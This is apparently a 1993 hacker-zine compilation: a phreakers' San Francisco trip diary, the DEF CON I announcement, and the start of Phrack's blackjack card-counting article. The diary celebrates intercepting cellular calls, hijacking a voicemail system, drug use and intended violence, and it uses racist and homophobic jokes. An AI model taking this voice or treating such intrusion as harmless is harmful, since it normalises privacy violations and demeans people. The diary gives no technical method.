About 4:00 we found an open lot, amazingly enough across from the Pac Bell building. We paid roughly 37 thousand dollars for the spot and took off to the museum. Fitzgerald was in heaven. He had called the museum from the hotel before we left and told them we were on our way.

Upon walking in the building we were stopped by a guard. He asked us what we wanted. Fitzgerald said, "We're here for to see the museum!" The guard gave us the once over and said, "Museum's closed." Fitzgerald almost fainted. Sure enough, the museum guy had bailed early. Probably immediately after receiving our phone call. Typical telco nazi antics.

We took to the streets. (The streets of San Francisco...haha) Wandering up and down the hills checking people out proved quite fun. We checked out Chinatown where we all decided that the little Oriental schoolgirls in their uniforms were quite amazing. We tried to spot the opium dens, and pointed out suspect organized crime figures. Suddenly, we realized we were lost, and if we didn't get back to the lot we would lose our car. (Thirty‑seven thousand dollars only buys you a spot for a few hours.) We managed to find our car minutes before the tow trucks rolled in and spent

a few more hours looking for buildings with good dumpsters for that night's planned trashing spree. We found a few spots and took off towards the hotel and dinner.

12. Zen & The Art of Trashing

That night everyone decided to move into our room. Somehow Fitzgerald stole a bed and wheeled it into our room to allow for more sleep space. So, it was X‑con, Fitzgerald, me, Fender and Mr. Blast all smashed into the little room. As we were sitting in the room discussing what to do that evening, the door burst open and a large man in basketball sweats walked in. After he saw us in the room he turned around and quickly exited.

Fitzgerald ran out in the hall after him and discovered that the whole hall was full of basketball players. We called down to the front desk to complain that our room had been given out. The desk apologized and told us that the mistake had been noticed and they would correct the problem with the basketball team. This did not exactly sit well with me, as I envisioned shitloads of jocks rooting through our stuff, taking my camera and various and sundry electronics gear.

Temporarily forgetting about the impending robberies, we took off to do a little recon of our own. The five of us and The Pilot piled into two cars and took off towards downtown looking for garbage.

We found several Pac Bell offices but the only one with any type of dumpster had nothing to offer save old yellow pages and pizza boxes. We were totally bummed. We decided to wander around aimlessly

to see what we could stumble across.

After making about a dozen turns and walking a mile or two we came across a huge black beast of a building. It looked like the Borg Cube. It was vast and foreboding. It was an AT&T building. Fitzgerald took off towards the door to ask for a tour. It was only 11:00 in the evening, so we were certain that we would be given a hearty welcoming and guided journey through the bowels of the cube. Yeah, right.

Alas, we were not to be assimilated. The guard told us to get lost. We decided to see the Borg used dumpsters. Around the back end of the building by the loading docks we saw several stair landings starting about three floors up. We debated scaling the building, but noticed about 500 security cameras. This place was possibly the most secure telco installation we had ever seen.

We decided that this place must be the point of presence for the West Coast since it was just so damn impenetrable. As we turned to leave I noticed a small piece of white cord on the ground. As I picked it up, we noticed it led from a small construction shack behind the POP. It ran all the way from the shack to a heavy steel door in the side of the cube where it snaked its way under the door into the building and probably into the frame. We all had a great laugh at the exposed line, and wished we would have had a test‑set to make a few choice overseas calls.

We wandered back to the cars and ended up driving around downtown some more for a few hours before ending up back at the hotel.

13. Mr. Blast Can't Drive.

We all regrouped the next morning to go shopping downtown. Fender was kind enough to dish out vast quantities of chocolate‑covered espresso beans and we all got completely wired. X‑con and I decided that we should have had a bag of these the previous morning.

We drove straight down to Chinatown and began looking for a place to park. Mr. Blast, Fender, X‑con were in one car, me, Fitzgerald and The Pilot in another. Mr. Blast, for being from a huge city, had absolutely no concept of driving in traffic in a downtown setting. He missed lots, made weird turns, ran lights and generally seemed like he was trying to lose us. He achieved his desired goal.

We cursed his name for fifteen minutes and then gave up our search. Fitzgerald had swiped Fender's scanner and was busily entertaining himself listening to cellular phone calls. He had the window rolled down in the back seat and took great joy in holding up the scanner so people walking down the street could join in on the voyeuristic fun. Suddenly Fitzgerald shouted, "HOLY SHIT! I can't believe it!"

The Pilot and I nearly had matching strokes, "WHAT?" I said. "It's ENCRYPTED! I can't believe it man, encrypted speech on the phone!" I began to laugh, and The Pilot soon joined in. It was Mandarin. "Where the hell are we, Fitz?" I asked him. "San Francisco, " he replied. "No," I said, "Specifically, where in San Francisco?" Fitzgerald thought for a minute and said, "Uh, Chinatown?" Suddenly, his eyes lit up, "OHHHHHHH. Hehe.. it's not encrypted is it?" We laughed at him for about ten minutes.

We came to a stop light where a very confused Chinese lady was looking at us. Fitzgerald held up the scanner and I yelled, "Herro!" We went hysterical as we drove off, leaving the woman even more bewildered.

We found a place to park and decided to explore on our own. The plethora of little Chinese hotties blew my mind. We staggered around Chinatown trying to get bargains on electronics gear. It struck us all as odd that every electronics store in the downtown area was owned and operated by Iranians. Needless to say, no bargains were found.

We had lunch at a restaurant called Red Dragon. The majority of the lunch was spent talking telco. Watching Fitz and The Pilot get totally wrapped up in the talk, both trying to tell the best story about the neatest hack proved incredibly interesting.

We took off into the crowds to try to find cheap watches, since The Pilot's watch was ready to retire. He soon made a totally sweet deal on a watch from an oriental merchant and we took off for the car. On the way we noticed a small shop in a back alley with throwing stars in the window.

Inside was ninja heaven. They had daggers, cloaks, stars, nunchaca, swords, masks and tons and tons of violence inducing paraphanalia. I saw a telescoping steel whip behind a case. I knew I must possess this item, and when I found out that it was only $22.00 the money was already in my hands. Fitz also got a whip and five stars. We were now armed...Phiber beware.

We took off down to the port to look out at the bay. While we were there we watched a bunch of skaters doing totally insane street style in a small cement fountain area. One kid waxed the street with his face and we all had a serious laugh, much to the chagrin of the injured and his posse. As soon as they scraped up the hapless skatepunk off the ground, they resumed their thrashing, avoiding the wet spot. We decided that these kids were totally insane.

We took off back to the hotel to meet up with the idiots. Once we arrived we found that we were locked out of our room. In fact, not only had they cut off our keys, but they had checked us out. We got a security guard to let us in the room. Shortly thereafter X‑con et.al. returned loaded with gear they had picked up on their trip. They exclaimed that they rushed back to the hotel at top speed, since when they tried to call the room, the hotel had said that our room was not in use.

I got furious and went downstairs to yell. Eventually, we got our phone service back and the manager went upstairs to give us a live body to verbally abuse, which we took full advantage of. He shucked and jived his way through an apology but we did not get a free night as we had hoped for.

14. Castro‑Bound

X‑Con wanted shoes. We all sorted out the card key mess and piled back in The Pilot's car and headed out to find NaNa's. As we drove towards the store we noticed something change about the city. The fog lifted. The colors got more pastel. The men walking down the street seemed to have more spring in their step. We had entered the Castro.

I really wanted to hit a record store in the Castro because homos always seem to have cool dance music. I convinced everyone that we should pull over and risk a quick walk down the main drag.

The stroll was a complete farce. Our crew seemed to be extremely apprehensive. To make them more edgy I took great glee in talking real nelly and batting my eyes at anything that moved. No one was amused. In fact, Fitzgerald and the Pilot looked like they wanted to cry and run back to the car and hide.

None of the record stores had anything good. There were lots of old Judy Garland and Ethyl Merman but nothing more modern than the Village People. (And I was expecting techno. But noooooo...)

On our way back to the car we passed by a leather goods store. Not exactly Tandycraft, if you get my drift. X‑con was the only one brave enough to go in. He came out looking drained of all color holding a catalog.

"There were these three guys in there," he stammered. "One of them was being fitted for a cock sheath. The two other guys kept showing him different ones, but he said they were too big."

We all shuddered and hastened our return to the car.

We drove a few miles more down the street and ended up at the NaNa's shop. The store was your typical alternative grunge‑wear shop. Stompin' boots, nifty caps, shirts by Blunt. X‑con got his shoes. We all got nifty caps. Leaving for the hotel, I grabbed a handful of flyers from the front window. Most were rave flyers for the next weekend. One however was announcing a bondage party for 'women only' two days later. I felt a tear begin to form as I reminisced about the Bridge.

15. Hating It In The Height.

We regrouped back at the hotel and took off again for the Height to go check out Rough Trade records and see what could be seen. And X‑con and I needed a few tabs. (YEEE!) We needed these rather badly since Mr. Blast had found out about a rave that evening from the SF‑RAVES mailing list. There was no way X‑con and I could sit through a rave sober, and dancing was WAY out of the question.

Rough Trade was closed.

We decided to grab a quick bite to eat while waiting for information on the rave. We decided to try something really odd, since we weren't in for the typical corporate burger scene. A bit down the street from Rough Trade we happened upon a Ethopian restaurant. Since this was about as obscure as any of us had ever dreamed, we decided to check it out. I personally didn't think Ethopians ever had any food, and made a few jokes about wanting something light, so this would definitely be the place.

Ethopian food was odd. Looking over the menu, Mr. Blast decided that he didn't want much of anything they had to offer. We decided that we should buy a lot of everything and just pick and choose. I made the comment that I would only eat chicken, and Mr. Blast didn't like the idea of eating much of anything everyone wanted to try. We ordered separately.

The food came out in a rather odd fashion. Everything was piled on top of everything else. It was all splattered on top of a weird pancake‑like sponge bread. There were all manner of sauces to smother, dip, or otherwise destroy the entrees with, so we all took great bravado in our sampling of each. It was quite a fantastic spread, and I wholeheartedly urge everyone to check out this particular cuisine.

After the meal we took off to find a phone to call the raveline. On our way to the phone X‑con and I stumbled across a few transients who offered us acid at a remarkable price. This was almost too good to be true. We slunk down a side street and bs'ed with the homeless couple as we decided how many to buy. We settled on 20 hits for 45 dollars. X‑con and I were psyched. The rave would indeed be tolerable.

We hooked up with the crew, smiling like Cheshire cats. Mr. Blast had the directions to the rave so we took off ready to overindulge. By the time we reached the rave, we were one of what seemed like a hundred or two hanging outside of a warehouse. This might be pretty damn cool. X‑con and I began our dosing.

Now, usually I love the first contact of the blotter with my tongue. It evokes a certain tangy taste, akin to touching a battery to the tip of your tongue. It always gets the adrenaline flowing, and brings back memories of what will soon be repeated.

Nothing.

I looked at X‑con. "Dude," he said, "I can't taste shit. I better take more." He dropped about 3 more. Still no taste. I ate a few more myself in a futile hope that some lysergine substance may have once resided in the fibers of the blotter. Nope.

This was the beginning.

As we waited to be let in to the warehouse, cursing the transients, the sirens begin to wail. Fucking great. Five police cars swept into the cul‑de‑sac that led to the warehouse. The rave would not be in this location. Everyone bailed like rats from a sinking ship, yelling that the rave would be moved to a soon to be announced location.

Now X‑con and I were really pissed. I whipped out my steel whip and said, "Let's go pay a quick visit to the Height and visit our friends." We piled back into the cars and set out to do some serious damage.

Arriving in the Height we noticed that cops were everywhere. This was not going to be easy. X‑con and I set out like men possessed. The transients were gone. We wandered up and down the street for about 30 minutes looking for our prey. Finally we saw them. They saw us. One ran like a marathon sprinter. The other stayed, but was soon flanked by a gang of eight other transients. X‑con walked right up and said "You fucking ripped us off!"

As we tried to get either our money back or working drugs, more and more transients gathered. It was time to write it off as a loss. We cursed and backed away from the crowd.

Our group had congregated at a grocery store at the end of the street. Mr. Blast was speed dialing the raveline in a desperate attempt to find a venue to spin wildly in and blow his day‑glo rave whistle.

Across the street, a homeless black man screamed painfully at each and every passing car, "HELP! You gotta take me and my girlfriend to the hospital now! She's gonna DIE!" He staggered over to us

and begged for a ride, we respectfully declined.

As this was going on, the grocery store erupted with violence as a drunken frat type was ejected forcibly. He started swinging wildly at the rent‑a‑cop, and was greeted with the business end of a police baton.

The Pilot decided this was a good time to make his exit. He waved goodbye and was gone.

RBOC, Voxman and a nameless waif arrived in the parking lot. We told them the status of the rave and they decided to wait to see if there may be any type of decadence forthcoming. About that time Mr. Blast came screaming across the lot with the directions.

We no longer had room for everyone, so Voxman & the nameless waif were offered a ride from a flaming pedophile who overheard their plight. The took him up on his offer before we could stop them. We said a quick prayer for them and piled into the car.

16. Stark Raving Mad Late Into The Night

The new location was out at a marina in Berkeley on the beach. It took damn near an enternity to get there and when we arrived it was raining. X‑con and I made it our mission to find acid at this location. The music could be heard for several hundred yards from the street, so we took off in a sprint towards the source.

There were roughly 40 or so people. Thirty‑nine guys, one ugly girl.

X‑con immediately disappeared in the crowd looking for someone with a beeper...anyone. Fender disappeared. Fitz disappeared. RBOC and I sat and made rude comments. X‑con arrived back with a big smile.

Our saviour was in the form of a teenage Hispanic dude. He had red blotter with elephant, and yellow blotter with some other kind of design. The yellow was "three‑way." We bought several of each, and there was much rejoicing. X‑con had already eaten one three‑way and one regular, before I could split one in half for RBOC. The taste was overwhelming. Freshly squeezed.

The three of us perched up on a hill staring out over the undulating mass waiting for the effect. It came quickly.

As it hit, Fitz wandered up and said, "Let's hack the raveline!" This idea went over VERY WELL, so we all set out towards the car, leaving little sparky streamers behind us as we moved.

From a nearby hotel lobby, Fitz and X‑con busily hacked at the VMB while RBOC and I sat in the car totally wigging. About 30 minutes later they ran out screaming. It had been done and the code was now 902100.

We drove back to the rave and noticed the red and blues flashing and the ravers bailing en masse. We picked up Mr. Blast and Fender and took off back to our hotel. Fender had done a bit of networking at the rave and exchanged a few business cards. We were totally appalled.

Once back at the hotel X‑con took even more. He said he wanted to see static. Within an hour he achieved his goal. He spent a large portion of the night walking in and out of the room muttering, "Man...you guys are totally fucking with me."

We then decided to spice up the raveline. RBOC changed the outgoing message a few times and then finally decided on, "HAR HAR HAR, Y'all been boarded by the pirate! No more techno! No more homosexuals grinding away at 120 beats per minute! No more Rave! HAR HAR HAR!" We laughed like schoolgirls.

Everyone passed out. Everyone but us tripsters of course. We stayed up the majority of the night telling really odd pharmaceutical war stories.

At about 6 am RBOC decided that he was hungry and called for room service. He ordered linguini. The room service clerk told him that the kitchen was not ready for dinner, and would only be serving breakfast. RBOC replied, "Look, do you have noodles? Yes? Do you have water? Well, what's the fucking problem. What exactly do you need to boil water? Turn on the stove, and I'll be down in a few minutes to make it myself." With this logic, the room service clerk replied his linguini would be up in about half an hour.

We then decided to get escorts, or at least order up a few, and listen to them on their cell phones calling their pimps. (Fender had listened to about five different such conversations a few nights prior.) RBOC ordered up a couple of buxom blondes to go and we waited for their return phone call to barter on the price.

The call never came in. The hotel had turned off our phone for incoming calls. This sparked even more fun, as RBOC called up the front desk to complain, "Look ma'am, my hookers can't fucking call into my room! Turn my phone back on NOW! I've had a rough night up for 24 hours on drugs, and I need a woman." The operator was not amused.

The sun rose. We all remarked about the typical morning after layer of filth that seems to congeal after a good fry. The static was no longer visible to X‑con and he became almost lucid again, interjecting bits of wisdom like "Uh" and "Yeah" into the conversation. His flight was in two hours.

The linguini arrived and everyone had a small taste as the smell of the white sauce permeated the room. As we smacked away, the inexperienced of the crowd arose to greet a new morning. RBOC suddenly realized that NYC was probably snowed under, so he took off to find a phone to check on the status of his flight home.

X‑con gathered his bags and mumbled "Later," and disappeared. I fell on the bed and disappeared into darkness.

17. Laterz

The alarm clock blared out a sickening beep, to which it was rewarded with a small flight across the hotel room. I gathered up my gear and made a beeline towards the elevator.

Still confused, I wandered down to the lobby where I was greeted by Fitzgerald and Fender. I bid them both a fond farewell and boarded the airport shuttle. This was one hell of a good time. I wonder if CFP4 in Chicago will be as good? One can only hope. See you there.

****************************************

D E F C O N I C O N V E N T I O N D E F C O N I C O N V E N T I O N DEF CON I CONVENTION D E F C O N I C O N V E N T I O N

>> READ AND DISTRIBUTE AND READ AND DISTRIBUTE AND READ AND DISTRIBUTE <<

Finalized Announcement: 5/08/1993

We are proud to announce the 1st annual Def Con.

If you are at all familiar with any of the previous Con's, then you will have a good idea of what DEF CON I will be like. If you don't have any experience with Con's, they are an event on the order of a pilgrimage to Mecca for the underground. They are a mind‑blowing orgy of information exchange, viewpoints, speeches, education, enlightenment... And most of all sheer, unchecked PARTYING. It is an event that you must experience at least once in your lifetime.

The partying aside, it is a wonderful opportunity to met some of the celebrities of the underground computer scene. And those that shape its destiny ‑ the lawyers, libertarians, and most of all the other There will be plenty of open‑ended discussion on security, telephones and other topics. As well as what TIME magazine calls the "Cyberpunk Movement".

Las Vegas, is as you might have guessed a great choice for the Con. Gambling, loads of hotels and facilities, cheap air fare and room rates. It's also in the West Coast making it more available to a different crowd than the former Cons have been.

Your foray into the scene and your life will be forever incomplete if by some chance you miss out on DEF CON I. Plan to be there!

WHO: You know who you are.

WHAT: Super Blowout Party Fest, with Speakers and Activities. WHERE: Las Vegas, Nevada

WHEN: July 9th, 10th and 11th (Fri, Sat, Sun) 1993

WHY: To meet all the other people out there you've been talking to for months and months, and get some solid information instead of rumors.

DESCRIPTION:

So your bored, and have never gone to a convention? You want to meet all the other members of the so called 'computer underground'? You've been calling BBS systems for a long time now, and you definitely have been interacting on the national networks. You've bullshitted with the best, and now it's time to meet them in Vegas! For me I've been networking for years, and now I'll get a chance to meet everyone in the flesh. Get together with a group of your friends and make the journey.

We cordially invite all hackers/phreaks, techno‑rats, programmers, writers, activists, lawyers, philosophers, politicians, security officials, cyberpunks and all network sysops and users to attend.

DEF CON I will be over the weekend in the middle of down town Las Vegas at the Sands Hotel. Why Las Vegas? Well the West Coast hasn't had a good Convention that I can remember, and Las Vegas is the place to do it. Cheap food, alcohol, lots of entertainment and, like us, it never sleeps. We will have a convention room open 24 hours so everyone can meet and plan and scheme till they pass out. Events and speakers will be there to provide distraction and some actual information and experiences from this loosely knit community.

This is an initial announcement. It is meant only to alert you to the time, dates and location of the convention. Future announcements will inform you about specific speakers and events.

An information pack is FTPable off of the internet at nwnexus.wa.com, in the cd/pub/dtangent directory. The IP# is 192.135.191.1 Information updates will be posted there in the future as well as scanned map images and updated speaker lists.

FINAL NOTES:

COST: How you get there is up to you, but United Airlines will be the official carrier (meaning if you fly you get a 5% to 10% price reduction off the cheapest available fare at the time of ticket purchase) When buying airline tickets, call 1‑800‑521‑4041 and reference meeting ID# 540ii. Hotel Rooms will cost $62 per night for a double occupancy room. Get your friends together and split the cost to $31. Food is inexpensive. The entertainment is free inside the hotel. Reference the DEF CON I convention when registering, as we have a block of rooms locked out, but once they go it will be first come, fist serve. Call 1‑800‑634‑6901 for the reservations desk.

The convention itself will cost $30 at the door, or $15 in advance. It pays to register in advance! Also it helps us plan and cover expenses! Mail checks/money orders/cashiers checks to: DEF CON I, 2709 East Madison Street, #102, Seattle, WA, 98112. Make them payable to: "DEF CON" we're not trying to make money, we will be trying to cover costs of the conference room and hotel plus air fair for the speakers who require it. Don't bother mailing it a week in advance, that just won't happen. Advanced registration gets you a groovy 24 bit color pre‑generated name tag. Include with your payment the name you want listed, your association/group affiliation/bbs/whatever, email address, and/or bbs number for syops. Last day for the registrations to reach me will be July 1st.

SPEAKERS: We have solicited speakers from all aspects of the computer underground and associated culture (Law, Media, Software Companies, Cracking Groups, Hacking Groups, Magazine Editors, Etc.) If you know of someone interested in speaking on a self selected topic, please contact The Dark Tangent to discuss it.

FOR MORE INFORMATION:

For initial comments, requests for more information, information about speaking at the event, or maps to the section where prostitution is legal outside Las Vegas (Just Kidding) Contact The Dark Tangent by leaving me mail at: dtangent@dtangent.wa.com on the InterNet.

Or call: 0‑700‑TANGENT for conference information/updates and to leave questions or comments.

Or Snail Mail (U.S. Postal Service) it to DEF CON, 2709 East Madison Street, #102, Seattle, WA, 98112.

Future information updates will pertain to the speaking agenda.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Updates since the last announcement:

>> The Secret Service is too busy to attend.

>> New Media Magazine, Unix World and Robert X. Cringly have stated they will attend.

>> We got a voice mail system working (I think) for comments and questions. >> We don't have enough $$$ to fly out the EFF or Phillip Zimmerman (Author of PGP) or Loyd Blankenship.

>> Judy Clark will be representing the CPSR and a few other organizations

Don't forget to bring a poster / banner representing any of the groups you belong to. I want to cover the conference room walls with a display of all the various groups / people attending. (Break out the crayons and markers)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DEF CON I CONVENTION [PROPOSED SPEAKING SCHEDULE UPDATED 5.31.1993]

Saturday the 10th of July 10am, Sands Hotel, Las Vegas

INTRODUCTION Welcome to the convention *The Dark Tangent (CON Organizer)

Keynote speaker Cyberspace, Society, crime and the future.

To hack or not to hack, that is not the question *Ray Kaplan

Civil Libertarians

‑CPSR Computer Privacy/1st Amendment/Encryption Gender Rolls and Discrimination *Judi Clark

‑USC Comp. Law Legalities of BBS Operation, message content laws and network concerns. *Allen Grogan, Editor of Computer Lawyer

'The Underworld'

‑Networking Concerns of National Networking of CCi (Cyber Crime International) Network. *Midnight Sorrow.

Corporations

‑Packet Switching

SPRINT Concerns/security and the future MCI of packet switching.

(*Jim Black, MCI Systems Integrity)

Misc Common misbeliefs and rumors of the underground *Scott Simpson

‑Virtual Reality The law, and it's intersection with VR *Karnow

‑Unix Security Future developments in unix security software, General Q&A on unix security *Dan Farmer

‑System Administrator Security Concerns of an Administrator *Terminus

The 'Underworld'

‑Internet The security problems with Internet/Networks Overview of hacking *Dark Druid

‑Getting Busted The process of getting "busted" *Count Zero

‑How to be a nobody Hiding your identity in the high‑tech future, or The payphone is your friend. *TBA‑nonymous

‑The Prosecutors Their concerns/problems and Hacker Hunters suggestions for the 'underworld'/Q&A

CONCLUSION General Q&A

This itinerary is proposed, and topics and speakers will be marked as permanent once a confirmation is received. This is by no means the exact format of DEF CON I. Any Questions / Comments Contact:

dtangent@dtangent.wa.com

Voice Mail 0‑700‑TANGENT

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[> DEF CON I and United Airlines Travel Arrangements <]

United Airlines has been chosen as the official carrier for DEF CON I and is pleased to offer a 10% discount off the unrestricted BUA coach fare or a 5% discount off the lowest applicable fares, including first class. This special offer is available only to attendees of this meeting, and applies to travel on domestic segments of all United Airlines and United Express flights. A 5% discount off any fare is also available for attendees traveling to or from Canada in conjunction with your meeting. These fares are available through United's Meeting Desk with all fare rules and restrictions applying.

Help support the DEF CON I Conference by securing your reservations with United Airlines. To obtain the best fares or schedule information, please call United's Specialized Meeting Reservations Center at 1‑800‑521‑4041. Dedicated reservationists are on duty 7 days a week from 7:00 a.m. to 1:00 a.m. ET. Please be sure to reference ID number 540II. You or your travel agent should call today as seats may be limited.

As a United Meeting attendee you qualify for special discount rates on Hertz rental cars. Mileage Plus members receive full credit for all miles flown to this meeting.

Tickets will be mailed by United or you can pick them up at your local travel agency or United Airlines ticket office.

Generic update #1‑‑‑

My system exploded, so it's been hard to keep in touch with everyone, but my mail response should be better now. Yep the conference is still on. A blown hard drive won't kill me. You can reach me for information or questions at 0‑700‑TANGENT (the DEF CON I hot line)

‑‑‑‑‑

‑‑

Sorry for the huge signature, but I like privacy on sensitive matters. ‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.2

mQCNAiviMB8AAAEEANO4XmnggG8h8XWtfxShMvRUarlpj2OBSPMrzUNRAKEjupUj f/FfszMk0G60GSiCfiosw/m2JcKPQ6OZgQCxfElFUcYkKx/rYjgU3viEmNasjAwN jR/9l0WSXlv4CjCUtH/t4rm1C1bs8i6iznmu/dCeuUEZQoRm0Lrdt/10TGt3AAUT tCtUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkdGFuZ2VudC53YS5jb20+

=DxKN

How To Hack Blackjack (Part I)

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 9 of 27

How to "Hack" BlackJack

By

Lex Luthor

and

The Legion of Gamblerz!! (LOG) lex@mindvox.phantom.com (or) lex@stormking.com

Part 1 of 2 (50K)

BLURB:

"I learned a lot of things I didn't know from Lex's File" ‑‑‑Bruce Sterling

Introduction:

‑‑‑‑‑‑‑‑‑‑‑‑‑

With the DEF CON 1 hacker/cyberpunk/law enforcement/security/etc convention coming up in Las Vegas, Nevada on July 9‑12 1993, I felt that now would be a good time to write a "phile" on something the attendants could put to use to help legally defray the costs of going. The thought of a bunch of ex‑hackers running around Las Vegas without shirts (having 'lost' them in the various Casinos) frightened me into immediate action. Besides, I don't write articles on 'Underground' topics anymore and since I have done a lot of research and playing of Casino BlackJack, the CON in Vegas provided me the perfect excuse to finally write an article for PHRACK (not withstanding the pro‑phile in Issue 40 which doesn't really count).

Regardless of whether you go to this DEF CON 1 thing, if you ever plan to hit a casino with the purpose of MAKING MONEY, then you really should concentrate on ONE game of chance: BlackJack. Why? Because BlackJack is the *ONLY* casino game that affords the educated and skilled player a long‑term mathematical advantage over the house. All the other casino games: Craps, Roulette, Slots, etc. have the long‑term mathematical advantage over the player (see table below). BlackJack is also the only casino game for which the odds are always changing. Don't be fooled by all the glitter, a casino is a business and must make a profit to survive. The profit is ensured by using a set of rules which provides them with an edge. Now you say: wait a sec, how do they make money if BlackJack can be beaten? There are a couple of reasons. One reason is that there are very few good players who make it their profession to beat casinos at BlackJack day in and day out. There are many more who THINK they are good, THINK they know how to play the game, and lose more money than the really good players win. Notwithstanding the throngs of vacationers who admit to not being well versed in the game and consequently are doomed to lose...plenty. Another reason is that if a casino thinks you are a "counter" (a term just as nasty as "phreaker" to the phone company) there is a good chance that they will ask you to leave. See the section on Social Engineering the Casino to avoid being spotted as a counter. Also, the house secures its advantage in BlackJack from the fact that the player has to act first. If you bust, the dealer wins your bet regardless of whether the dealer busts later.

The following table illustrates my point regarding house advantages for the various casino games and BlackJack strategies. The data is available in most books on casino gambling. Note that negative percentages denote player disadvantages and are therefore house advantages.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GAME Your Advantage (over the long run)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Craps ‑1.4 % overall average Baccarat ‑1.1 % to ‑5.0 %

Roulette ‑2.7 % to ‑5.26 %

Slots ‑2.5 to ‑25 % depending on machine setting

Keno ‑25 % more or less

BlackJack (WAG Player) ‑2 % to ‑15 %

BlackJack (Mirror Dealer) ‑5.7 %

BlackJack (Basic Strategy) ‑0.2 % to +0.3 %

BlackJack (Basic Strategy & Up to +3.1 % depending on card counting Card Counting) system and betting range.

A ‑2 % player advantage (2 percent disadvantage) means that if you play a hundred hands at a dollar each, then ON AVERAGE, you will lose two dollars. Note that the typical "pick three" State Lottery game is a disaster as your advantage is ‑50 %. If you make 1000 $1 bets, you will lose $500 on average. Some people say that state lotteries are taxation on the stupid...

This article contains thirteen sections. It was written in a fairly modular fashion so if there are sections which do not interest you, you may omit them without much loss in continuity however, all the sections are networked to some degree. For the sake of completeness, a fairly comprehensive list of topics has been presented. Due to email file size restrictions, I had to divide this article into two parts. Note that I am NOT a Professional BlackJack player, the definition being someone whose livelihood is derived solely from his/her winnings. I did however, dedicate a summer to gambling 5 evenings a week or so, keeping meticulous records of wins, losses and expenses incurred. I averaged 1‑2 nights a week playing BlackJack with the other nights divided among 3 different forms of Pari‑Mutual gambling. At the end of the summer I tallied the wins/losses/expenses and am proud to say the result was a positive net earnings. Unfortunately it was instantly apparent that the net money when divided up by the number of weeks gambling was not enough to warrant me to quit school and become a professional gambler. Besides that one summer, I have played BlackJack off and on for 7 years or so. In case you were wondering, no, I have never been a member of GA [Gamblers Anonymous] contrary to what one of those Bell Security "Hit‑Lists" circulated many years ago would have you believe. The topics contained herein are:

o Historical Background of the BlackJack Card Game

o Useful Gambling, Casino, and BlackJack Definitions o Review of BlackJack Rules of Play

o Betting, Money Management, and the Psychology of Gambling o Basic Strategy (End of Part 1)

o Card Counting (Beginning of Part 2)

o Shuffle Tracking

o Casino Security and Surveillance

o "Social Engineering" the Casino

o Casino Cheating and Player Cheating

o Some Comments Regarding Computer BlackJack Games for PC's o A VERY Brief Description of Other Casino Games

o Selected Bibliography and Reference List

Notes:

a) I made extensive use of my many books, articles, and magazines on gambling and BlackJack along with actual playing experience. References are denoted by square brackets [REF#] and are listed in the Selected Bibliography and Reference List section.

b) It's hard to win at something you don't understand. If you want to win consistently at anything, learn every thing you can about it. BlackJack is no exception.

History of BlackJack:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I provide this historical background information because I find it rather fascinating and it also provides some insight into contemporary rules and play. I think it is worth reading for the sole reason that you might some day use one of the historical tid‑bits to answer a question on Jeopardy!#@%! Seriously, the first couple of paragraphs may read a bit like a book report, but bear with it if you can as I did all of the following research specifically for this file.

First, a brief history of cards: Playing cards are believed to have been invented in China and/or India sometime around 900 A.D. The Chinese are thought to have originated card games when they began shuffling paper money (another Chinese invention) into various combinations. In China today, the general term for playing cards means "paper tickets". The contemporary 52 card deck used in the U.S. was originally referred to as the "French Pack" (circa 1600's) which was later adopted by the English and subsequently the Americans.

The first accounts of gambling were in 2300 B.C. or so, and yes, the Chinese again get the credit. Gambling was very popular in Ancient Greece even though it was illegal and has been a part of the human experience ever since. Today, with the all too common manipulation of language to suit one's own purposes, gambling is no longer a term used by casinos....they prefer to use the word GAMING instead. Just as Post Traumatic Stress Disorder has replaced the term Shell Shock in military jargon. Since this manipulation of language is all the rage these days, why don't we water down the name Computer Hacker and replace it with Misguided Information Junky or someone who is afflicted with a Compulsive Curiosity Disorder?

The history of the BlackJack card game itself is still disputed but was probably spawned from other French games such as "chemin de fer and French Ferme", both of which I am completely unfamiliar with. BlackJack originated in French Casino's around 1700 where it was called "vingt‑et‑un" ("twenty‑andone" in French) and has been played in the U.S. since the 1800's. BlackJack is called Black‑Jack because if a player got a Jack of Spades and an Ace of Spades as the first two cards (Spade being the color black of course), the player was additionally remunerated.

Gambling was legal out West from the 1850's to 1910 at which time Nevada made it a felony to operate a gambling game. In 1931, Nevada re‑legalized casino gambling where BlackJack became one of the primary games of chance offered to gamblers. As some of you may recall, 1978 was the year casino gambling was legalized in Atlantic City, New Jersey. As of 1989, only two states had legalized casino gambling. Since then, about 20 states have a number of small time casinos (compared to Vegas) which have sprouted up in places such as Black Hawk and Cripple Creek Colorado and in river boats on the Mississippi. Also as of this writing, roughly 70 Native American Indian reservations operate or are building casinos, some of which are in New York and Connecticut. In addition to the U.S., some of the countries (there are many) operating casinos are: France, England, Monaco (Monte Carlo of course) and quite a few in the Caribbean islands (Puerto Rico, Bahamas, Aruba, etc.).

Now: The first recognized effort to apply mathematics to BlackJack began in 1953 and culminated in 1956 with a published paper [6]. Roger Baldwin et al (see Bibliography) wrote a paper in the Journal of the American Statistical Association titled "The Optimum Strategy in BlackJack". These pioneers used calculators, and probability and statistics theory to substantially reduce the house advantage. Although the title of their paper was 'optimum strategy', it wasn't really the best strategy because they really needed a computer to refine their system. I dug up a copy of their paper from the library, it is ten pages long and fairly mathematical. To give you an idea of its importance, the Baldwin article did for BlackJack playing what the November 1960 issue of The Bell System Technical Journal entitled, "Signalling Systems for Control of Telephone Switching", did for Blue Boxing.

